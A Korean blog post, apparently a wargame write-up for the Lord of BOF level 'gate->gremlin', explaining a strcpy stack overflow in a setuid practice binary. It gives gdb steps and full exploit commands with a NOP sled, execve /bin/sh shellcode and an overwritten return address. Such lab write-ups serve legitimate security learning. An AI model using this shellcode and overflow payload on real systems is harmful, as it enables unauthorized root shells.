본문 바로가기

wargame/S_LOB

gate->gremlin

LOB gate->gremlin 문제다.


telnet으로 접속하면 gate / gate 접속하면 gremlin문제와 소스가 있다.

간단하다. 입력을 받아서 buffer에다가 strcpy를 한다.

gdb를 까기전에.. 현재 setuid상태로 gdb로 안된다.

고로 cp gremlin /tmptmp에 옮겨서 해보자.



먼저 사이즈를 0x100*(256)만큼 esp에 할당해준다.

 


buffer(256)

SFP(4) 

ret(4) 


이형태이니 buffersfp를 덮어씌우고 ret에 주소를 변조하여 eip가 미쳐 날뛰게 조작하자.

b pstrcpy가 실행된 다음인 *main+59에 걸어주자

 

먼저 A256개 넣어주고 BBBB를 넣어주자.


r `python -c 'print "A"*256+"BBBB"'`



입력이 잘 된걸 확인 한 뒤, x/100x $esp로 esp를 보자


A(0x41)로 256개 잘 들어가있고.. B(0x42)가 SFP(4)에 잘들어가있따.


그럼 공격포인트 잡고 실행하자.

쉘코드는 ftz풀었을때 만들어둔 25byte짜리 쉘코드다.


처음 쉘코드는

./gremlin `python -c 'print "\x90"*72+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*163+"\x60\xf9\xff\xbf"'` 이거였다.

근데 잘 안됐다.


곰곰히 생각해보니 내가 NOP로 90을 넣어놓고 자꾸 쉘코드의 시작주소인 bffff960으로 실행하니까 잘안된거같았다.


그래서그보다 위인 f930으로 조작했다.


./gremlin `python -c 'print "\x90"*72+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*163+"\x30\xf9\xff\xbf"'`


끝.


hello bof world


'wargame > S_LOB' 카테고리의 다른 글

wolfman->darkelf  (2) 2016.08.31
orc->wolfman  (0) 2016.06.24
goblin->orc  (0) 2016.06.23
cobolt -> goblin  (0) 2016.06.14
gremlin->cobolt  (0) 2016.06.12